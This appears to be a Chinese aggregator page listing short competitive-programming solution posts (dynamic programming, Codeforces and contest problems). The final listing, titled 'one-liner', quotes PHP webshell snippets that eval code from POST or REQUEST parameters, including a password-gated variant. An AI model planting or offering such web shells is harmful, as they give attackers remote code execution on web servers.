原文:退役前的一句话题解Ⅰ

由于太懒了,没什么意思的题就写一句话题解了 . zroi 分别对 sum a, sum b 开状态开不下,考虑到 a i leq b i ,所以任意时刻都有 sum a leq sum b ,所以设 dp i,j 表示选到了第 i 个数满足 sum a leq j leq sum b 的最小代价,显然有转移 dp i,j min k j b i j a i dp i ,k c i ,单调队列优化转 ...

2019-10-07 17:04 4 306 推荐指数:

查看详情

一句话题解2

目录 7026. 2021.03.26【2021省赛模拟】序列 7027. 2021.03.26【2021省赛模拟】a 7028. 2021.03.26【2021省赛模 ...

Tue Mar 30 05:17:00 CST 2021 0 269
一句话题解3

目录 CF Deltix Round, Spring 2021 (open for everyone, rated, Div. 1 + Div. 2) 7102. 【202 ...

Sun Jun 13 19:07:00 CST 2021 0 927
一句话题解(2021.4)

7069. 【2021.4.28 NOI模拟】匹配(match) 打表发现的神必结论:设bi=i&pi,把b的计算次数写下来发现只有1/-1,再发现就是\(\large (-1)^{popc ...

Thu Apr 01 06:52:00 CST 2021 0 243
一句话题解(2021.1)

CF1477F. Nezzar and Chocolate Bars 显然每一段的每个位置切的概率相同,ans=Σ时间t时未结束的概率 容斥有i段>k,枚举每段切m刀,则有 \(\larg ...

Sun Jan 03 06:03:00 CST 2021 0 365
LOJ 一本通一句话题解系列:

第一部分 基础算法 第 1 章 贪心算法 1):「一本通 1.1 例 1」活动安排:按照结束时间排序,然后扫一遍就可以了。 2):「一本通 1.1 例 2」种树:首先要尽量的往区间重叠的部分种树 ...

Wed Oct 31 15:05:00 CST 2018 4 2019
一句话题解(2020-04)

看起来很牛逼,实际上是因为懒得写详细题解所以摸了,只写一句话题解。 02 CF1303F 注意到填充颜色递增,对每个颜色而言就是此颜色正序加入,非此颜色倒序加入,并查集正反两遍维护,链接。 10 CF1303G 点分治,经过重心的路径分成上下两段,对于一个上段,权值关于下段的长度是一个 ...

Fri Apr 03 02:19:00 CST 2020 0 780
瞎做题一句话题解&待做题

待坑题: UR1T3:仙人掌上点分治+奇怪的优化 ULR1:阴间题组T3~T6 dij网络流模板 【ZJOI2017】多项式:奇怪的倍增 【CTSC2017】最长上升子序列:杨表练习题 CF1477 ...

Sat Dec 19 06:26:00 CST 2020 0 476
一句话

PHP一句话:1、普通一句话 <!--?php @eval($_POST['ki11']);?--> 2、防爆破一句话 <!--?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['ki11 ...

Tue Sep 06 01:49:00 CST 2016 1 6283
 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM